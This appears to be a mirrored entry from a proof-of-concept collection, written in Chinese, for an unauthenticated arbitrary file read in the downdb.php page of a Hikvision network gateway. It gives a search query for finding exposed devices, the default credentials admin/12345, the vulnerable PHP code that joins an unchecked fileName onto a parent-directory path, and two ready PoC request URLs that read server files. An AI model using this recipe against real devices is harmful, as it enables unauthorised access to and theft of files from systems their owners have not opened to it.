mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-08 12:25:11 +00:00
57 lines
1.4 KiB
Markdown
57 lines
1.4 KiB
Markdown
|
# Hikvision 联网网关 downdb.php 任意文件读取漏洞
|
|||
|
|
|
|||
|
|
## 漏洞描述
|
|||
|
|
|
|||
|
|
海康威视 联网网关 在页面 downdb.php 的参数fileName存在任意文件下载漏洞
|
|||
|
|
|
|||
|
|
## 漏洞影响
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
Hikvision 联网网关，流媒体管理服务器
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 网络测绘
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
"杭州海康威视系统技术有限公司 版权所有" && title=="联网网关"
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 漏洞复现
|
|||
|
|
|
|||
|
|
默认密码：`admin/12345`
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
出现漏洞的代码文件为downdb.php，可以未授权下载任意文件：
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
<?php
|
|||
|
|
$file_name=$_GET['fileName'];
|
|||
|
|
$file_dir = "../../../";
|
|||
|
|
if (!file_exists($file_dir.$file_name)) { //检查文件是否存在
|
|||
|
|
echo'<script> alert("文件不存在!");window.history.back(-1);</script>';
|
|||
|
|
exit();
|
|||
|
|
|
|||
|
|
}else{
|
|||
|
|
$file = fopen($file_dir . $file_name,"r"); // 打开文件
|
|||
|
|
// 输入文件标签
|
|||
|
|
Header("Content-type: application/octet-stream");
|
|||
|
|
Header("Accept-Ranges: bytes");
|
|||
|
|
Header("Accept-Length: ".filesize($file_dir . $file_name));
|
|||
|
|
Header("Content-Disposition: attachment; filename=" . $file_name);
|
|||
|
|
// 输出文件内容
|
|||
|
|
echo fread($file,filesize($file_dir.$file_name));
|
|||
|
|
fclose($file);
|
|||
|
|
exit();
|
|||
|
|
}
|
|||
|
|
?>
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
POC：
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
/localDomain/downdb.php?fileName=web/html/data/login.php
|
|||
|
|
/localDomain/downdb.php?fileName=web/html/localDomain/downdb.php
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
|